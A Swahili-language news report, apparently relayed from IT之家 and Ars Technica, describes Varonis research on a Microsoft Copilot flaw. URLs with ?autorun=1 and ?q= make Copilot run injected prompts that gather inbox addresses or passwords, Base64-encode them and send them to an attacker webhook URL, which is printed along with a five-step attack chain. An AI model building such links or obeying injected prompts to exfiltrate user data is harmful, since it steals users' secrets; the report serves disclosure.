Chombo cha habari za teknolojia Ars Technica kilichapisha jana (Agosti 18) kwamba Microsoft Copilot ina athari ya usalama. Inaweza kutumia kigezo ?autorun=1 pamoja na ?q= kupita uthibitisho wa mtumiaji na hivyo kuiba taarifa za mtumiaji.
IT之家 ilinukuu makala hiyo ikisema kuwa watafiti wa kampuni ya usalama Varonis wamebaini kwamba, kama wasaidizi wengi wa AI, Copilot inaweza kupokea maelekezo kupitia URL. Sehemu ya msingi ya URL inaweza kuufanya mfumo ufungue programu kama Gmail, huku vigezo na maandishi yanayofuata vikiweza kumtaka msaidizi afupishe yaliyomo kwenye kikasha au aandike rasimu ya barua pepe.
Watafiti waligundua kuwa Copilot ina kigezo ?autorun=1 ambacho, pamoja na ?q=, hupita uthibitisho wa mtumiaji, na kuunda kiungo kifuatacho:
https://copilot.microsoft.com/?q=&autorun=1Mtumiaji anapobofya kiungo kilichoundwa na mshambuliaji, kivinjari hupakia Copilot katika kipindi ambacho mtumiaji ameingia. Kigezo ?autorun=1 huanzisha utekelezaji wa kiotomatiki, huku maelekezo yaliyo kwenye ?q= yakiendeshwa bila ishara yoyote kutoka kwa mtumiaji.
Maelekezo yaliyoundwa na watafiti yalimtaka Copilot kutafuta kikasha, kupata barua pepe za hivi karibuni na kutoa tu anwani za barua pepe za watumaji, kisha kuhifadhi matokeo kwenye kigezo kinachoitwa SUPPORT. Baadaye, Copilot huzalisha URL ifuatayo na kutekeleza amri ya “kufupisha URL”:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTMshambuliaji anaweza kutuma kiungo hasidi kwa mwathiriwa kupitia barua pepe, ujumbe wa mazungumzo, ukurasa wa hadaa au msimbo wa QR. Mtumiaji anapobofya, taarifa nyeti huongezwa kwenye URL nyingine, na Copilot hufungua anwani hiyo kiotomatiki kwenye kifaa. Kwa kuwa ukurasa huo umewekwa kwenye tovuti inayodhibitiwa na mshambuliaji, data hatimaye hutumwa kwake.
Watafiti pia walibuni maelekezo mengine yaliyomfanya Copilot atafute manenosiri na vitambulisho vingine kwenye kikasha. Inapogundua siri husika, msaidizi huzituma kwenye seva ya aina hiyo hiyo inayodhibitiwa na mshambuliaji. Ili kuficha wizi wa data na kupunguza makosa ya uhamishaji, maudhui yanayotumwa nje hubadilishwa kwanza kuwa Base64 (muundo wa kusimba data za mfumo wa jozi kuwa maandishi).
Msururu wa mashambulizi ulioorodheshwa na Varonis una hatua 5:
1. Mwathiriwa anabofya URL iliyoundwa kwa ustadi na mshambuliaji (iliyosambazwa kupitia barua pepe, mazungumzo, ukurasa wa hadaa, msimbo wa QR na njia nyingine).
2. Kivinjari hupakia copilot.microsoft.com katika kipindi cha mwathiriwa ambacho bado kinafanya kazi na kimethibitishwa.
3. Kigezo ?autorun=1 huanzisha utekelezaji wa kiotomatiki, na maelekezo ya ?q= hujitokeza bila mtumiaji kufanya operesheni yoyote.
4. Copilot hushughulikia maelekezo yaliyodungwa na kupata ufikiaji kamili wa muktadha wa kipindi cha mwathiriwa, programu zilizounganishwa na kumbukumbu.
5. Hata kichupo cha Copilot kikifungwa mara tu baada ya upakiaji kukamilika, maelekezo yataendelea kutekelezwa hadi mwisho, ikiwemo upataji wowote wa mtandao, miito ya viunganishi au mfululizo wa hatua nyingi.